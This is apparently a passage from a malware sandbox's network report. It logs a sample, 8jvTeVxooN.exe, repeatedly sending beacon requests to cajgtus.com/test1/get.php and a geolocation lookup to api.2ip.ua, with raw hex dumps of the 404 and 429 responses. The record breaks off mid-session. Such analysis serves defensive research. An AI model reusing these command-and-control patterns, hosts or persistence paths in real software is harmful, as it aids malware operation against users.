4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 74 65 73 74 31 2f 67 65 74 2e 70 68 70 3f 70 69 64 3d 46 38 41 46 43 44 43 34 45 38 30 30 41 33 33 31 39 46 46 42 33 34 33 45 38 33 30 39 39 36 33 37 26 66 69 72 73 74 3d 74 72 75 65 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS> </BODY> </HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	85.11.159.22	80	2312	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 07:37:10.597637892 CEST	128	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 07:37:10.927979946 CEST	898	IN	HTTP/1.1 404 Not Found Server: Mini web server 1.0 ZTE corp 2005. Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=iso-8859-1 Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 74 65 73 74 31 2f 67 65 74 2e 70 68 70 3f 70 69 64 3d 46 38 41 46 43 44 43 34 45 38 30 30 41 33 33 31 39 46 46 42 33 34 33 45 38 33 30 39 39 36 33 37 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS> </BODY> </HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49748	85.11.159.22	80	5772	C:\Users\user\Desktop\8jvTeVxooN.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 07:37:16.429076910 CEST	139	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 07:37:16.757976055 CEST	909	IN	HTTP/1.1 404 Not Found Server: Mini web server 1.0 ZTE corp 2005. Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=iso-8859-1 Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 74 65 73 74 31 2f 67 65 74 2e 70 68 70 3f 70 69 64 3d 46 38 41 46 43 44 43 34 45 38 30 30 41 33 33 31 39 46 46 42 33 34 33 45 38 33 30 39 39 36 33 37 26 66 69 72 73 74 3d 74 72 75 65 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS> </BODY> </HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49749	85.11.159.22	80	2312	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 07:37:16.429429054 CEST	128	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 07:37:16.862390041 CEST	898	IN	HTTP/1.1 404 Not Found Server: Mini web server 1.0 ZTE corp 2005. Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=iso-8859-1 Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 74 65 73 74 31 2f 67 65 74 2e 70 68 70 3f 70 69 64 3d 46 38 41 46 43 44 43 34 45 38 30 30 41 33 33 31 39 46 46 42 33 34 33 45 38 33 30 39 39 36 33 37 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS> </BODY> </HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49759	85.11.159.22	80	5772	C:\Users\user\Desktop\8jvTeVxooN.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 07:37:22.161638975 CEST	139	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 07:37:22.490057945 CEST	909	IN	HTTP/1.1 404 Not Found Server: Mini web server 1.0 ZTE corp 2005. Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=iso-8859-1 Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 74 65 73 74 31 2f 67 65 74 2e 70 68 70 3f 70 69 64 3d 46 38 41 46 43 44 43 34 45 38 30 30 41 33 33 31 39 46 46 42 33 34 33 45 38 33 30 39 39 36 33 37 26 66 69 72 73 74 3d 74 72 75 65 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS> </BODY> </HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49760	85.11.159.22	80	2312	C:\Users\user\AppData\Local\b7814b20-ebff-4c00-9012-586719229631\8jvTeVxooN.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 07:37:22.270266056 CEST	128	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 07:37:22.599529982 CEST	898	IN	HTTP/1.1 404 Not Found Server: Mini web server 1.0 ZTE corp 2005. Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=iso-8859-1 Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 74 65 73 74 31 2f 67 65 74 2e 70 68 70 3f 70 69 64 3d 46 38 41 46 43 44 43 34 45 38 30 30 41 33 33 31 39 46 46 42 33 34 33 45 38 33 30 39 39 36 33 37 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS> </BODY> </HTML>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.139.220	443	2700	C:\Users\user\Desktop\8jvTeVxooN.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:36:57 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 05:36:57 UTC	916	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 05:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=59oCCiI%2BfDI7OJY3Z1qhJzicfkaLzh6%2BfWIKzUB3Qm%2BfUBvMrYitXx5VbskFLopzDzwS%2F7vbu0h8omm2Xx2g2zBhgPnSMkYs%2FwBql9DzOF86VAGaigecWs5pytjG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8793bd173fb67c8b-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 05:36:57 UTC	453	IN	Data Raw: 33 32 66 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 36 35 30 64 30 30 30 39 31 35 32 35 35 37 30 63 31 35 34 62 30 38 30 30 35 61 31 36 31 30 30 37 30 66 30 30 30 36 Data Ascii: 32f<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="/cdn-cgi/l/email-protection#650d00091525570c154b08005a1610070f0006
2024-04-24 05:36:57 UTC	369	IN	Data Raw: 20 d0 ba 20 d0 b1 d0 b0 d0 b7 d0 b5 20 d0 b4 d0 b0 d0 bd d0 bd d1 8b d1 85 2e 20 d0 94 d0 bb d1 8f 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b5 d0 bd d0 b8 d1 8f 20 d0 b4 d0 be d0 bf d0 be d0 bb d0 bd d0 b8 d1 82 d0 b5 d0 bb d1 8c d0 bd d0 be d0 b9 20 d0 b8 d0 bd d1 84 d0 be d1 80 d0 bc d0 b0 d1 86 d0 b8 d0 b8 2c 20 d0 bf d0 be d0 b6 d0 b0 d0 bb d1 83 d0 b9 d1 81 d1 82 d0 b0 2c 20 d0 be d0 b1 d1 80 d0 b0 d1 89 d0 b0 d0 b9 d1 82 d0 b5 63 d1 8c 20 d0 bf d0 be 20 d0 b0 d0 b4 d1 80 d0 b5 d1 81 d1 83 20 3c 61 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 6c 2f 65 6d 61 69 6c 2d 70 72 6f 74 65 63 74 69 6f 6e 23 38 61 65 32 65 66 65 36 66 61 63 61 62 38 65 33 66 61 61 34 66 66 65 62 62 35 66 39 66 66 65 38 65 30 65 66 65 39 66 65 62 37 62 38 65 33 66 61 61 34 66 66 Data Ascii: . , , c <a href="/cdn-cgi/l/email-protection#8ae2efe6facab8e3faa4ffebb5f9ffe8e0efe9feb7b8e3faa4ff
2024-04-24 05:36:57 UTC	114	IN	Data Raw: 36 63 0d 0a 3c 73 63 72 69 70 74 20 64 61 74 61 2d 63 66 61 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: 6c<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
2024-04-24 05:36:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.139.220	443	5772	C:\Users\user\Desktop\8jvTeVxooN.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 05:36:59 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2024-04-24 05:37:00 UTC	910	IN	HTTP/1.1 429 Too Many Requests Date: Wed, 24 Apr 2024 05:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S3QtFb6D5kO6v%2BSHBeRHGauWkYYgXdm1UbSDKvM2Q%2FqOGCxZLc4G5zn1F5VwSYWjIRAcQvBsKIwrooJkorLi53LgPPiciIj35nih2rPxUe46FeSY5EcflAPBxlSV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare 